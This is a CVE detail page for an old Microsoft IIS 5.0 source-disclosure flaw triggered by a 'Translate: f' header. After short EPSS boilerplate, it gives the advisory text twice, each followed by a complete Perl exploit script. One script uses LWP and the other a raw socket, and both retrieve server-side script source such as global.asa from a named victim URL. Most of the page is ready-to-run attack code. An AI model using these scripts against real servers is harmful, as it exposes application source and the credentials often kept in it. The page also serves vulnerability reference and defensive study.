CVE-2000-0778 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/1578/info Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server. It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client. #!/usr/bin/perl # Expl0it By [email protected] # Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 = using a shared drive but I haven=B4t tested it yet. # Get the source code of any script from the server using this exploit. # This code was written after Daniel Docekal brought this issue in = BugTraq. # Cheers 351 and FractalG :) if (not $ARGV[0]) { print qq~ Geee it=B4s running !! kewl :))) Usage : srcgrab.pl <complete url of file to retrieve> Example Usage : srcgrab.pl http://www.victimsite.com/global.asa U can also save the retrieved file using : srcgrab.pl = http://www.victim.com/default.asp > file_to_save ~; exit;} $victimurl=$ARGV[0]; # Create a user agent object use LWP::UserAgent; $ua = new LWP::UserAgent; # Create a request my $req = new HTTP::Request GET => $victimurl . '\\'; # Here = is the backslash at the end of the url ;) $req->content_type('application/x-www-form-urlencoded'); $req->content_type('text/html'); $req->header(Translate => 'f'); # Here is the famous translate = header :)) $req->content('match=www&errors=0'); # Pass request to the user agent and get a response back my $res = $ua->request($req); # Check the outcome of the response if ($res->is_success) { print $res->content; } else { print $res->error_as_HTML; }

source: https://www.securityfocus.com/bid/1578/info Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server. It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client. #!/usr/bin/perl use Socket; ####test arguments if ($#ARGV != 2) {die "usage: DNS_name/IP file_to_get port\n";} #####load values $host = @ARGV[0];$port = @ARGV[2];$target = inet_aton($host);$toget= @ARGV[1]; #####build request $xtosend=<<EOT GET /$toget\\ HTTP/1.0 Host: $host User-Agent: SensePostData Content-Type: application/x-www-form-urlencoded Translate: f EOT ; $xtosend=~s/\n/\r\n/g; ####send request #print $xtosend; my @results=sendraw($xtosend); print @results; #### Sendraw - thanx RFP [email protected] sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; while(<S>){ push @in, $_; print STDOUT "." if(defined $args{X});} select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); } }